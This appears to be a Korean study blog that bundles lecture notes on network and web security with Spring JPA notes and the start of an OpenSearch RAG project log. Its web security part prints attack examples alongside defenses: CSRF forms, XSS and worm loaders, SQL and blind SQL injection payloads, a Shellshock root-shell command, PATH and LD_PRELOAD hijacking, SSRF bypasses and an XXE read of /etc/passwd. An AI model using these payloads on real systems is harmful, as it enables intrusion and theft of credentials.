트래픽의 상태를 추적하여 비정상적인 트래픽을 탐지 방화벽 기능 접근 통제 사용자 인증 감사 및 로그 기능 주소 변환 기능 (NAT) 종류 호스트 기반 방화벽 네트워크 기반 방화벽 통합 위협 관리 (UTM) 방화벽, IDS, IPS, 백신 등의 다양한 보안솔루션의 기능을 하나로 통합한 장비 편의성이 높고 비용을 절감할 수 있음 허니팟 공격자의 공격을 유도하여 공격자의 행동을 분석하는 시스템 스노트 호스트 또는 네트워크 기반의 오픈소스 IDS 패킷 디코더 : 프로토콜 헤더 식별 및 격리 탐지 엔진 : 규칙 집합을 기반으로 각 패킷을 분석 로거 : 규칙과 일치하는 각 패킷을 소형으로 저장 경고 : 탐지된 패킷에 대해 경고를 보냄 SSL/TLS/VPN SSL의 기본 개념 SSL/TLS 프로토콜 구성 Handshake Layer : Handshake, Cipher spec 변경, Alert 프로토콜로 구성 Record Layer : 단편화, 압축, 무결성, 암호화 기능을 제공하는 Record 프로토콜로 구성 SSL/TLS Handshake client->server hello server->client hello certificate : 서버 인증서 server key exchange : 서버 키 교환 certificate_request : 클라이언트 인증서 요청 (선택) hello done client->server certificate : 클라이언트 인증서 (선택) client key exchange : 클라이언트 키 교환 certificate_verify : 서버 인증서 검증 (선택) change cipher spec finished server->client change cipher spec finished Change Cipher Spec Protocol 상대방에게 새로운 암호화 방식을 사용하도록 알리기 위해 사용 Alert Protocol 오류 발생시 상대방에게 오류를 통보하기 위해 사용 경고와 심각으로 분류, 심각의 경우 연결 종료 Record Protocol 동작과정 : 단편화 -> 압축(선택) -> MAC 첨부 -> 암호화 -> SSL 레코드 헤더 붙이기 MAC : 키 공유과정에서 도출된 비밀키 사용 암호화 : 압축된 메시지와 MAC을 대칭 암호로 암호화 SSL vs TLS Handshake에서의 차이점 TLS로 발전하면서 Handshake 프로세스를 줄임 사용하는 총 암호 그룹 수를 줄여 프로세스 속도를 향상 Alert에서의 차이점 알림 메시지 유형이 추가됨 TLS Alert는 보안을 위해 암호화되어 전송됨 메시지 인증에서의 차이점 SSL은 MAC을 사용, TLS는 HMAC을 사용 Cipher suite에서의 차이점 취약한 알고리즘(RC4, DES) 사용 중단 신규 키 교환, 검증, 암호화, MAC 알고리즘 적용 TLS는 버전 별로 지원하는 Cipher suite가 다름 SSL/TLS 활용 TLS 서버 구축 방법 키쌍 생성 생성한 공개키를 넣어서 CSR 생성, 개인키로 전자 서명 CSR을 인증서 발급기관에 전송 인증서 발급기관은 CSR의 전자 서명을 CSR에 포함된 공개키로 서명 검증 사용자의 공개키와 추가정보(도메인, 이메일 등)를 추가하여 SSL 인증서 발급 웹서버에 적용 SSL/TLS 서버의 보안 강화 HSTS (HTTP Strict Transport Security) HTTPS로만 통신하도록 강제하는 기술 헤더에 Strict-Transport-Security를 설정 max-age 기간동안 자동 적용 SSL/TLS 취약점 TLSv1.2이전의 프로토콜은 취약점이 존재 POODLE (Padding Oracle On Downgraded Legacy Encryption) 블록 암호화 기법인 CBC 모드 사용시 암호문이 MAC에 의해 보호되지 않는 취약점 DROWN (Decrypting RSA with Obsolete and Weakened eNcryption) 공격자가 SSLv2 proves를 송신하여 키를 찾아낼 수 있는 취약점 BEAST (Browser Exploit Against SSL/TLS) CBC의 취약점을 이용해 HTTPS 쿠키를 해독할 수 있는 취약점 FREAK (Factoring RSA Export Keys) SSL 서버가 공격에 의해 수출용 RSA를 허용하도록 다운그레이드 시킨후 Brute-force로 키를 찾아내는 취약점 Logjam SSL 서버가 공격에 의해 수출용 DHE를 허용하도록 다운그레이드 시킨후 Brute-force로 키를 찾아내는 취약점 Heartbleed OpenSSL 1.0.1의 메모리 누수 취약점 취약점 대응 서버 관리자 : 취약한 프로토콜, Cipher suite를 사용하지 않도록 설정, 철저한 비밀키 관리 클라이언트 사용자 : 최신 버전의 브라우저 유지, 서버의 인증서 확인, 안전하지 않은 사이트 방문 자제 공통 : 최신 SLS/TLS 프로토콜 소프트웨어 사용 HTTPS 패킷 차단 기술 및 이슈 DNS 서버 응답 변조 및 IP 차단 DNS 서버의 응답을 변조하여 HTTPS 접속을 차단하는 기술 CDN 서버 경유를 통해 우회하는 사례가 등장 -> 패킷 분석 기반 차단 패킷 분석 기반 차단 패킷을 분석하여 HTTPS 패킷을 차단하는 기술 DPI (Deep Packet Inspection) : 패킷의 헤더와 페이로드를 분석하여 차단 HTTPS SNI 기반 차단 TLS 통신 표준을 역이용한 차단 방법 SNI는 Client Hello 단계에서 평문으로 전송된다는 특성을 활용하여 차단 TLS 악용과 대응 기술 악용사례 정보 유출 경로로의 악용 SSL/TLS 기술을 역이용하여 내부 정보 유출 시 내용을 알 수 없도록 함 악성 코드 유입 통로로의 악용 SSL/TLS 기술을 이용하여 악성 코드를 유포하는 통로로 사용 대응 기술 TLS 가시성 확보 기술 SSL/TLS을 복호화 해 가시성을 확보하는 기술 TLS Fingering 기술 TLS Handshake 및 트래픽에서 특징을 추출하여 클라이언트 및 서버를 식별하는 기술 메시지를 채취 -> 필드 추출 -> 지문 데이터 생성 -> 저장 및 비교 기법 사용 예시 : JA3, 인공지능 기반 기술 IPSec IP 패킷을 보호하기 위한 프로토콜 IPSec 개요 제공 : 인증, 기밀성, 키 관리 두 가지 모드 전송 모드 : 페이로드만 암호화 터널 모드 : 헤더와 페이로드 모두 암호화 프로토콜 AH(Authentication Header) 제공 : 인증, 무결성 ESP(Encapsulating Security Payload) 제공 : 인증, 기밀성, 무결성 ESP 단독 사용 또는 ESP+AH 사용(터널모드) IKE (Internet Key Exchange)

🏫 학과 공부

Web Security Model Web 보안의 목표 Integirty : 무결성 Confidentiality : 기밀성 HTTP URL https:// www.example.edu :80 /lectures ?lec=80 #slides protocol + hostname + port + path + query + fragment Cookies 서버가 웹 브라우저에게 보내는 정보 역할 : 세션 관리, 사용자 설정 저장, 사용자 추적 등 1// 쿠키 설정 2Set-Cookie: name=value; 3// 쿠키 전송 4Cookie: name=value; Same Origin Policy (SOP) 같은 Origin에서만 리소스를 공유할 수 있도록 한다 Origin scheme://domain:port Domain Relaxation 서브 도메인 간의 리소스 공유 document.domain을 수정하여, 서브 도메인 간의 리소스 공유 가능 예시 1a.domain.com -> domain.com 가능 2a.domain.com -> b.domain.com 불가능 3a.domain.com -> com 불가능 취약점 : 악의적인 사이트가 document.domain을 수정하여 접근을 시도할 수 있음 해결방법 : Mozilla Public Suffix List (PSL) 사용 BroadcastChannel API 같은 origin의 다른 context 간의 통신 사용법 1const bc = new BroadcastChannel('channel'); 2bc.postMessage('message'); 3bc.onmessage = (e) => console.log(e.data); XMLHttpRequest (XHR) 서버와 비동기 통신을 위한 객체 CORS (Cross-Origin Resource Sharing) 다른 Origin의 리소스를 요청할 때, 서버에서 허용하는 정책 Cookie 서버가 클라이언트에게 보내는 정보 Cookie Scoping Domain 해당 도메인은 Subdomain 또는 Parent Domain에 대해서만 쿠키를 전송 Path 해당 경로의 하위 경로까지 쿠키를 전송 Secure Cookies HTTPS 프로토콜을 사용할 때만 쿠키를 전송 1Set-Cookie: name=value; Secure HTTPOnly Cookies JavaScript에서 쿠키에 접근할 수 없도록 함 1Set-Cookie: name=value; HttpOnly CSRF (Cross Site Request Forgery) 다른 사이트에서 요청을 위조하여 공격하는 기법 배경 특정 사용자가 로그인된 상태라면, 사용자를 확인하기 위해 브라우저에서 쿠키와 함께 요청을 전송 cross-site에서도 쿠키와 함께 요청을 보냈을때, 서버가 same-site인지 cross-site인지 확인이 불가한 경우 CSRF 공격 가능 예상 시나리오 피해자가 현재 로그인된 상태로 Malicious Site에 접속 Malicious site에서 피해자 의지와 상관없이 쿠키와 함께 요청을 전송 GET 예시 코드 1<img src="http://bank.com/transfer?to=attacker&amount=1000" /> POST 예시 코드 1<form action="http://bank.com/transfer" method="post"> 2 <input type="hidden" name="to" value="attacker" /> 3 <input type="hidden" name="amount" value="1000" /> 4</form> 5<script> 6 document.forms[0].submit(); 7</script> 방어 Referer Header 요청을 보낸 페이지의 주소를 나타내는 HTTP header를 확인하여, 요청을 보낸 페이지가 같은 사이트인지 확인 1Referer: http://www.example.com 한계 해당 field를 이용해서 접속 기록을 확인 가능 -> 개인정보 보호 문제 Same-Site Cookies 서버가 쿠키를 전송할 때, SameSite라는 쿠키 속성를 전송, same-site인지 cross-site인지 확인하여, 설정값에 따라 쿠키를 전송하지 않음 설정 값 None (모든 요청에 쿠키 전송) Strict (cross-site는 항상 쿠키 전송하지 않음) Lax (cross-site는 GET 요청시에만 쿠키 전송하지 않음) Secret Token 특정 origin의 첫 요청때, 특정한 토큰을 생성, 이후 요청시 해당 토큰을 함께 전송하여, 요청이 같은 Origin에서 온 것인지 확인 Bypassing with Clickjacking 사용자가 의도하지 않은 클릭을 유도하여, CSRF 공격을 수행하는 기법 방어 X-Frame-Options Header (값 : DENY, SAMEORIGIN, ALLOW-FROM uri) 해당 페이지를 iframe으로 렌더링하는 것을 방지 XSS(Cross Site Scripting) Attack Non-persistent (Reflected) XSS Attack 사용자의 입력값을 그대로 출력하여, 공격자가 스크립트를 삽입하여 공격하는 기법 예시 query string을 실행하는 페이지가 존재 (innerHTML) 피해자가 해당 링크를 실행 => http://www.example.com/search?input=<script>alert(“attack”);</script> 피해자의 브라우저에서 alert가 실행됨 Persistent (Stored) XSS Attack 사용자의 입력값을 DB에 저장하여, 공격자가 스크립트를 삽입하여 공격하는 기법 예시 게시판에 글을 작성하는 페이지가 존재 피해자가 해당 페이지에 스크립트를 삽입하여 글을 작성 다른 사용자가 해당 글을 읽을 때, 스크립트가 실행됨 XSS로 발생 가능한 피해 Web defacing(웹페이지 변조) Spoofing requests(사용자의 요청 변조) Stealing information(정보 탈취) Self-Propagation XSS Worm XSS 공격을 통해, 자동으로 공격을 전파하는 기법 2가지 접근 DOM Approach 1let jsCode = document.getElementById('worm').innerHTML; Link Approach 1let jsCode = `'<script src="http://www.example.com/worm.js"></script>'`; 방어 입력값 필터링 : 사용자의 입력값을 필터링하여, 스크립트를 실행하지 않도록 한다 Encoding : 사용자의 입력값을 출력할 때, HTML Encoding하여, 스크립트를 실행하지 않도록 한다 Content Security Policy (CSP) : 웹페이지에서 실행 가능한 리소스를 제한하여, XSS 공격을 방어한다 예시 (script 파일) 1Content-Security-Policy: script-src 'self' example.com 예시 (inline script) 1Content-Security-Policy: script-src 'nonce-2726c7f26c' 2// allowed script 3`<script nonce=2726c7f26c> ... </script>` 4// not allowed script 5`<script nonce=42eh44jhad> ... </script>` SQL Injection SQL 쿼리를 조작하여, DB에 대한 공격을 수행하는 기법 예시 EID에 “EID5002’#“을 삽입 -> PASSWORD 검증을 우증 1SELECT NAME, SALERY, SSN 2FROM EMPLOYEE 3WHERE EID='EID5002'#' AND PASSWORD='1234'; curl을 이용해서 SQL Injection 공격 1curl 'www.example.com/getdata.php?EID=a' OR 1=1&PASSWORD=' 방어 Filtering and Encoding data SQL Injection에서 쓰이는 특수문자를 Filtering, Encoding 1$mysqli->real_escape_string($input); 한계 필요한 문자열을 필터링할 수 있음 Prepared Statements SQL 쿼리를 미리 준비하여, 사용자의 입력값을 삽입하지 않고, 쿼리를 실행 1$stmt = $mysqli->prepare("SELECT NAME, SALARY, SSN FROM EMPLOYEE WHERE EID=? AND PASSWORD=?"); 2// ss means "string string" 3$stmt->bind_param("ss", $EID, $PASSWORD); 4$stmt->execute(); Blind SQL Injection SQL Injection 공격을 통해, DB에 대한 정보를 탈취하는 기법 Conditional Response 1/* Password의 첫번째 문자가 'm'보다 큰지 확인 */ 2xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 'm 3/* Password의 첫번째 문자가 't'보다 큰지 확인 */ 4xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 't SQL Error - Divide by Zero 1/* Password의 첫번째 문자가 'm'보다 크면 오류 발생 */ 2xyz' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 3'm') THEN 1/0 ELSE 'a' END FROM Users)='a SQL Error - Cast 1/* Password의 첫번째 문자가 'm'보다 크면 오류 발생 */ 2CAST((SELECT example_column FROM example_table) AS int) Time Delay 1/* Password의 첫번째 문자가 'm'보다 크면 딜레이 발생 */ 2'; IF (SELECT COUNT(Username) FROM Users WHERE Username = 'Administrator' AND 3SUBSTRING(Password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'- ShellShock Attack bash 쉘의 취약점을 이용하여, 공격하는 기법 Set-UID Programs Set-UID root 권한을 가진 프로그램이 system함수를 호출할 때, 공격하는 기법 RUID : Real User ID : 프로그램을 실행한 사용자의 권한 EUID : Effective User ID : 프로그램이 실행되는 권한 Set-UID Program : 사용자가 프로그램을 root 권한으로 실행할 수 있도록 하는 프로그램, RUID와 EUID가 다름, Set-UID Program을 만드는 방법 1$ sudo chown root vul 2$ sudo chmod 4755 vul 3$ ls -l vul 4-rwsr-xr-x 1 root root 1234 Mar 11 12:00 vul # s가 존재 취약한 C 프로그램 (vul : Set-UID program) 1#include <stdio.h> 2void main() { 3 setuid(geteuid()); // root 권한을 가진 사용자로 설정 4 system("/bin/ls -l"); // ls -l 명령어 실행 5} 공격 명령어 1$ export foo='() { echo "hello"; }; /bin/sh' 2$ ./vul CGI(Common Gateway Interface) Programs 웹 서버에서 사용하는 CGI 프로그램에 대한 취약점 취약한 CGI 프로그램 (test.cgi) 1#!/bin/bash 2echo "Content-type: text/plain" 3echo 4echo "Hello, World!" 공격 명령어 1$ curl http://10.0.2.69/cgi-bin/test.cgi 2Hello, World! 공격을 활용하는 방법 설정 파일에 하드코딩된 db password 탈취 reverse shell 실행 Environment Variables & Attacks 프로세스가 환경변수를 얻는 방법 fork() : 자식을 생성, 자식이 부모의 환경변수를 상속 execve() : 새로운 프로그램을 자식으로 실행, 새로 환경변수를 설정 Attacks via Dynamic Linker 링크된 라이브러리를 조작하여, 공격하는 기법 원리 LD_PRELOAD는 공유 라이브러리의 목록을 저장 함수를 찾지 못하면, LD_LIBRARY_PATH에서 찾음 두 변수를 조작하여 링크된 라이브러리를 조작 예시 1$ export LD_PRELOAD=/path/to/malicious.so 2$ ./vul Attacks via Execution Program 실행 프로그램을 조작하여, 공격하는 기법 예시 1$ export PATH=/path/to/malicious:$PATH 2$ ./vul 3# // root shell 취득 Attacks via Library format string 등의 취약점을 이용하여 공격하는 기법 Attacks via Application Code buffer overflow 등의 취약점을 이용하여 공격하는 기법 Set-UID Approach VS Service Approach Clickjacking Attack 사용자의 의도와 상관없이 클릭을 유도하여, 공격하는 기법 1<iframe id="top" src="http://www.attack.com" style="opacity: 0"></iframe> 2<iframe id="bottom" src="http://www.example.com>" style="opacity: 1"></iframe> 방어 Client-side (Framekiller and Framebuster) javascript를 이용하여, 해당 페이지가 iframe으로 렌더링되는 것을 방지 1if (top != self) 2if (top.location != self.location) 3... 한계 우회할 수 있는 방법이 많아서 불안정 -> 잘 쓰지 않는다 우회 Double framing : 두개의 iframe을 사용하여, 첫번째 iframe을 숨기고, 두번째 iframe을 보여줌 Abusing onBeforeUnload : 사용자가 페이지를 떠날 때, alert을 띄워서, 사용자의 클릭을 유도 sandbox attribute : iframe에 sandbox attribute를 사용하여, 해당 iframe에서는 스크립트를 실행하지 않도록 함 options allow-same-origin allow-scripts allow-forms allow-modals allow-top-navigation 예시 1<iframe ... sandbox="allow_forms allow-scripts"></iframe> Referrer checking problems Referer를 확인하여 특정 도메인의 사이트만 iframe으로 렌더링되었는지 확인 한계 : Referer를 조작하여 우회 가능 Server-side X-Frame-Options 특정 ORIGIN 페이지에서만 해당 페이지를 iframe으로 렌더링할 수 있도록 함 예시 1X-Frame-Options: DENY // 해당 페이지를 iframe으로 렌더링하지 않음 2X-Frame-Options: SAMEORIGIN // 같은 ORIGIN 페이지에서만 해당 페이지를 iframe으로 렌더링 3X-Frame-Options: ALLOW-FROM uri // 특정 uri에서만 해당 페이지를 iframe으로 렌더링 Outdated : CSP 사용 권장 Content Security Policy (CSP) 웹페이지에서 실행 가능한 리소스를 제한 script-src : 스크립트 source를 제한 img-src : 이미지의 source를 제한 frame-ancestors : <frame>, <iframe>, <object>, <embed> 또는 <applet> 요소의 부모를 제한 예시 1$csp = "Content-Security-Policy: frame-ancestors *"; 2header($csp); Types of Context Integrity Visual Integrity 보이는 것과 실제로 실행되는 것의 차이에 대한 무결성 방어를 위한 방법 : User Confirmation, UI Randomization, Visibility Detection on Click Temporary Integrity 사용자 확인 시점과 클릭 시작 시점 사이의 UI 상태 차이에 대한 무결성 방어를 위한 방법 : Access Control Gadgets SSRF (Server Side Request Forgery) 서버에서 다른 서버로 요청을 보내는 공격 기법 공격 (서버가 신뢰된 서버에서 요청이 온 것으로 착각) 1POST /product/stock HTTP/1.0 2Content-Type: application/www-form-urlencoded 3Content-Length: 30 4 5stockApi=http://localhost/admin 방어 차단된 문자열을 URL 인코딩 또는 대소문자 변형을 통해 숨김 서로 다른 프로토콜을 사용하여, 요청을 보냄 using @ 1https://expected-host:fakepassword@evil-host using # 1https://evil-host#expected-host Rogue DNS 1https://expected-host.evil-host Double encoding : # -> %23 -> %2523 XXE (XML eXternal Entity) Injection XML 파싱 과정에서 발생하는 취약점을 이용하여, 공격하는 기법 XML custom entity XML에서 사용자가 정의한 엔티티를 사용하여, 재사용 가능한 문자열을 정의 1<?xml version="1.0" encoding="UTF-8"?> 2<!DOCTYPE message [<!ENTITY greeting "Hello, ">]> 3<message> 4 <text>&greeting;world!</text> 5</message> Access internal file XML 엔티티를 이용하여, 서버의 파일을 읽어오는 공격 1<?xml version="1.0" encoding="UTF-8"?> 2<!DOCTYPE foo[<!ENTITY xxe SYSTEM "file:///etc/passwd">]> 3<stockCheck><productId>&xxe;</productId></stockCheck> With SSRF SSRF와 결합하여, 외부 서버로 요청을 보내는 공격 1<!DOCTYPE foo[<!ENTITY xxe SYSTEM "http://localhost/admin">]> 암호기술 전통적인 암호기술 암호의 정의 암호를 사용하는 목적 기밀성 (Confidentiality) : 정보가 노출되지 않아야함 자료의 무결성 (Data Integrity) : 데이터가 위변조되면 안됨 인증 (Authentication) : 정보의 출처가 정당해야함 부인방지 (Non-repudiation) : 사용자가 이를 거부하지 않아야함 암호 알고리즘의 기본 조건 (K : Key, M : Message, C : Cipher Text) 암호화 : E(K, M) = C 복호화 : D(K, C) = C E(K, M)과 D(K, C)의 계산은 쉬워야 함 K를 모를때 C에서 M을 계산하는 것은 어려워야 함 암호 해독 방법 Cipher Text Only Attack : 암호문만을 이용하여 평문을 찾는 공격 Known Plain Text Attack : 암호문과 평문을 이용하여 키를 찾는 공격 Chosen Plain Text Attack : 평문을 선택하여 암호문을 찾는 공격 암호의 종류 대칭키(비밀키)(관용키) 암호 암호화와 복호화에 같은 키를 사용하는 암호 사용자 n명에 따라 필요한 키의 개수 : n(n-1)/2 암호 알고리즘의 종류 블록 암호 (DES, IDEA, AES) 평문을 블록으로 나누어 암호화하는 방식 스트림 암호 (RC4) 평문과 키를 비트 단위로 XOR하여 암호화하는 방식 한국에서 쓰는 알고리즘 종류 : NEAT, SEED, NES, ARIA 공개키(비대칭키) 암호 암호화와 복호화에 다른 키를 사용하는 암호 사용자 n명에 따라 필요한 키의 개수 : 2n 기밀성 (Confidentiality) : 공개키로 암호화, 개인키로 복호화 인증 (Authentication) : 개인키로 암호화, 공개키로 복호화 키 생성 DH 키 교환 암호기술의 활용 디지털 서명 특성 : 위조불가, 변경 불가, 서명자 인증, 재사용 불가, 부인 방지 동형암호와 양자암호 기술

Spring - JPA : 개념, 영속성 컨텍스트, 연관 관계 매핑

🍃 Spring

JPA (Java Persistence API) JAVA진영의 ORM 기술 표준, interface 모음 Hibernate, EclipseLink, DataNucleus 등의 구현체가 존재 EntityManager Entity : RDB의 Table과 매핑되는 객체 EntityManagerFactory Entity를 관리하는 EntityManager를 생산하는 공장 Thread safe: O EntityManager Entity의 CRUD등 모든 일을 처리 Thread safe: X 영속성 컨텍스트 Entity를 영구 저장하는 환경 EntityManager는 Entity를 영속성 컨텍스트에 보관하고 관리한다 영속성 컨텍스트에서 관리되는 Entity는 식별자값을 가져야 한다 (ID) -> key-value로 Entity를 관리하기 때문 flush: 영속성 컨텍스트에 변경 내용들을 DB에 동기화하는 작업 영속성 컨텍스트의 이점 1차 캐시 동일성 보장 트랜잭션을 지원하는 쓰기 지연 변경 감지 지연 로딩 Entity의 Life cycle 비영속 (New / Transient): 영속성 컨텍스트와 전혀 관계가 없는 상태 영속 (Managed): 영속성 컨텍스트에 저장된 상태 준영속 (Detached): 영속성 컨텍스트에 저장되었다가 분리된 상태 삭제 (Removed): 삭제된 상태 저장 1EntityManager em = emf.createEntityManager(); // Entity manger 생성 2EntityTransaction transaction = em.getTransaction(); // Transaction 획득 3transaction.begin(); 4 5Customer customer = new Customer(); // 비영속 상태 6customer.setId(1L); 7customer.setFirstName("John"); 8customer.setLastName("Doe"); 9 10em.persist(customer); // 영속화 11 12transaction.commit(); // Transaction commit 조회 1// Customer(1L) 만들어서 commit 2... 3Customer entity = em.find(Customer.class, 1L); // 1차 캐시에서 조회, query 실행 X 4em.clear(); // 영속성 컨텍스트를 초기화 5Customer entity = em.find(Customer.class, 1L); // DB에서 조회, query 실행 O 수정 1// Customer(1L) 만들어서 commit 2... 3Customer entity = em.find(Customer.class, 1L); 4entity.setFirstName("guppy"); 5entity.setLastName("hong"); 6 7transaction.commit(); // update! 변경감지 (dirty checking) JPA는 Entity를 영속화할 때의 최초 상태를 스냅샷으로 저장해둔다 flush 시점에 스냅샷과 비교해서 변경된 Entity에 대해 update query를 수행한다 삭제 1// Customer(1L) 만들어서 commit 2... 3Customer entity = em.find(Customer.class, 1L); 4em.remove(entity); 5 6transaction.commit(); // delete! Entity Mapping 단일 엔티티매핑 @Entity : 기본 생성자 필수 @Table : name으로 매핑할 테이블 이름 지정 @Id GenerationType - AUTO, IDENTITY, SEQUENCE, TABLE @Column name, length, unique, columnDefinition… insertable=updatable, nullable @Enumerated EnumType - ORDINAL, STRING 연관관계 매핑 테이블은 외래키로 연관 관계를 맺는다 객체는 참조를 통해 연관 관계를 맺는다 1. 참조의 방향 단방향, 양방향 테이블은 항상 양방향이다 2. 연관 관계 주인 객체가 양방향 연관 관계를 맺을 때, 연관 관계의 주인을 정해야 한다 주인만 외래 키를 관리(등록, 수정) 할 수 있다, 주인이 아닌 쪽은 읽기만 가능 mappedBy를 통해 주인이 아닌 엔티티에서 주인을 지정한다 3. 다중성 ManyToOne, OneToMany, OneToOne, ManyToMany JoinColumn(name="", referencedColumnName="") 외래 키를 매핑할 때 사용 name: 매핑할 외래 키 이름 referencedColumnName: 외래 키가 참조하는 대상 테이블의 컬럼명 예제 - 연관관계 편의 메소드 양방향 연관관계에서 한쪽에만 설정하면 양쪽 다 설정해주는 메소드를 만들 수 있다 양방향 연관관계와 그 편의메소드를 정의한 코드이다 Member.java 1@OneToMany(mappedBy = "member") 2private List<Order> orders = new ArrayList<>(); 3 4public void addOrder(Order order) { 5 this.orders.add(order); 6 order.setMember(this); 7} Order.java 1@ManyToOne 2@JoinColumn(name="member_id", referencedColumnName = "id") 3private Member member; 4 5public void setMember(Member member) { 6 if (this.member != null) { 7 this.member.getOrders().remove(this); 8 } 9 this.member = member; 10 member.getOrders().add(this); 11}

[모각코24하계] 02 : 결과

👨‍💻 모각코

RAG (Retrieval-Augmented Generation) 이론 정리 RAG는 검색과 생성을 결합한 모델로, 검색을 통해 얻은 정보를 바탕으로 생성을 수행하는 모델 LLM의 문제점 할루시네이션: 생성 모델이 훈련 데이터에 없는 내용을 생성하는 현상 최신의 응답을 기대하는 상황에서 오래되었거나 일반적인 정보를 생성하는 문제 신뢰할 수 없는 출처로부터 정보를 생성하는 문제 RAG는 위에서 서술한 LLM 문제의 일부를 해결하기 위해 사용할 수 있는 수단이다. OpenSearch OpenSearch는 오픈소스 검색 및 분석 엔진으로, 엘라스틱서치의 포크 버전 벡터 데이터베이스 : 벡터 데이터를 저장하고 쿼리할 수 있는 데이터베이스 주요 기능 분산 검색 및 분석 보안 시각화와 대시보드 지원 index와 document index : 데이터베이스 document : 데이터베이스에 저장되는 데이터 분석 분석기 Analyzer (Character Filter + Tokenizer + Token Filter) 텍스트를 토큰화하고 필터링하는 과정을 수행 분석 과정 Character Filter 특정 문자를 제거하거나 변경하는 등의 작업을 수행 Tokenizer 기본적으로 공백을 기준으로 텍스트를 분리 Token Filter 토큰을 추가하거나 제거하는 등의 작업을 수행 OpenSearch에서 지원하는 요소 Tokenizer Standard Tokenizer : 공백을 기준으로 텍스트를 분리, 문장 부호 삭제 Letter Tokenizer : 문자를 기준으로 텍스트를 분리 Whitespace Tokenizer : 공백을 기준으로 텍스트를 분리 Ngram Tokenizer : 부분 문자열로 텍스트를 분리 Token Filter Standard Token Filter : 아무것도 하지 않음 Lowercase Token Filter : 텍스트를 소문자로 변환 Synonym Token Filter : 동의어 처리 Analyzer Standard Analyzer : Standard Tokenizer + Standard Token Filter Simple Analyzer : Letter Tokenizer + Lowercase Token Filter Whitespace Analyzer : Whitespace Tokenizer + Lowercase Token Filter OpenSearch 접근을 위한 cURL 명령어 인덱스 조회 1curl -X GET -u {username}:{password} \ 2"http://localhost:9200/_cat/indices" 특정 인덱스 조회 1curl -X GET -u {username}:{password} \ 2"http://localhost:9200/{index_name}" 전체 검색 결과 조회 1curl -X GET -u {username}:{password} \ 2"http://localhost:9200/{index_name}/_search" 특정 검색어로 검색한 결과 조회 1curl -X GET -u {username}:{password} \ 2"http://localhost:9200/{index_name}/_search" \ 3-H "Content-Type: application/json" \ 4-d '{"query": {"match": {"field": "value"}}}' 인덱스 삭제 1curl -X DELETE -u {username}:{password} \ 2"http://localhost:9200/{index_name}" OpenSearch를 활용한 Rag 실습 배경 테커 부트캠프에서 팀프로젝트를 진행 중이다. 우리 팀의 주제는 특정 인물에게 상담을 받는 것 같은 대화를 할 수 있는 챗봇을 만드는 것이다. 이를 위해 특정 인물이 했던 말을 모아 데이터셋으로 만들고 이를 RAG 모델에 적용시키려고 한다. 순서 일론 머스크가 TED에서 한 인터뷰를 텍스트로 가져온다. OpenSearch 도커 컨테이너를 실행한다. 텍스트 데이터를 임베딩해서 OpenSearch에 저장한다. RAG 모델이 OpenSearch를 쿼리하여 대답을 생성한다. 1. 일론 머스크 인터뷰 텍스트 가져오기 유튜브에서 “스크립트 보기"를 통해 인터뷰 자막을 가져온다. 122:03 2EM: 이 큰 트럭을 몰면서 말도 안되는 움직임을 보였죠. 3CA: 아주 멋지네요. 자, 그럼 정말 굉장한 사진에서 422:09 5조금은 덜 굉장한 사진을 보죠. "위기의 주부들"인가에서 나오는 귀여운 집 사진인데요. 622:15 7이게 갑자기 왜 나온거죠? 8... 일론 머스크가 한 말만 손수 정리한다. 1네. 제 스스로도 그 질문을 자주 하는 편입니다. 2저희는 LA의 지하에 구멍을 내려고 하는데요. 이는 교통 체증을 완화시키기 위한 33차원 네트워크의 터널이 될 수도 있는 시발점을 만들기 위함입니다. 4교통 체증은 오늘날 우리의 영혼을 탈탈 터는 문제 중의 하나입니다. 5세계 모든 사람들에게 영향을 끼치고 있죠. 인생에서 너무도 많은 부분을 가져갑니다. 6... 2. OpenSearch 도커 컨테이너 실행 1docker create -it -p 9200:9200 -p 9600:9600 -e OPENSEARCH_INITIAL_ADMIN_PASSWORD={password} -e "discovery.type=single-node" -v opensearch_vol:/usr/share/opensearch/data --name opensearch opensearchproject/opensearch 설명 -p 9200:9200 : OpenSearch HTTP 포트 -p 9600:9600 : OpenSearch 모니터링 포트 -e OPENSEARCH_INITIAL_ADMIN_PASSWORD={password} : 초기 비밀번호 설정 -e “discovery.type=single-node” : 단일 노드로 실행 -v opensearch_vol:/usr/share/opensearch/data : 데이터 볼륨 마운트 SSL 오류 발생과 해결 하지만 위 명령어로 실행하면 컨테이너 내부에서 오류가 발생한다 12024-07-05 22:15:12 Caused by: io.netty.handler.ssl.NotSslRecordException: not an SSL/TLS record: ... 22024-07-05 22:15:12 at io.netty.handler.ssl.SslHandler.decodeJdkCompatible(SslHandler.java:1314) ~[netty-handler-4.1.110.Final.jar:4.1.110.Final] 32024-07-05 22:15:12 at io.netty.handler.ssl.SslHandler.decode(SslHandler.java:1387) ~[netty-handler-4.1.110.Final.jar:4.1.110.Final] 42024-07-05 22:15:12 at io.netty.handler.codec.ByteToMessageDecoder.decodeRemovalReentryProtection(ByteToMessageDecoder.java:530) ~[netty-codec-4.1.110.Final.jar:4.1.110.Final] 52024-07-05 22:15:12 at io.netty.handler.codec.ByteToMessageDecoder.callDecode(ByteToMessageDecoder.java:469) ~[netty-codec-4.1.110.Final.jar:4.1.110.Final] 62024-07-05 22:15:12 ... 16 more 프로젝트 기간이 길지 않고, 해당 포트는 외부에 노출할 필요가 없으므로 SSL을 끄고 실행하는 것으로 해결하였다. 1/usr/share/opensearch/config/opensearch.yml 2# 변경 전 3plugins.security.ssl.http.enabled: true 4# 변경 후 5plugins.security.ssl.http.enabled: false 3. 텍스트 데이터 임베딩 및 OpenSearch에 저장 RAG 세션을 해주신 멘토님이 짜준 코드를 적극! 참고하여 작성하였다. OpenSearch 인덱스 생성 1from opensearchpy import OpenSearch 2import torch 3from transformers import AutoTokenizer, AutoModel 4from langchain.text_splitter import RecursiveCharacterTextSplitter 5from langchain_community.document_loaders import TextLoader 6from langchain_community.vectorstores import OpenSearchVectorSearch 7 8INDEX_NAME = "elon_musk" 9FILE_NAME = "ted_elon_musk_script.txt" 10 11## OpenSearch 연결 설정 12client = OpenSearch( 13 hosts=[{"host": "localhost", "port": 9200}], http_auth=("admin", {password}) 14) 15 16## 텍스트 데이터 불러오기 17loader = TextLoader(file_path=FILE_NAME, encoding="utf-8") 18docs = loader.load() 19 20text_splitter = 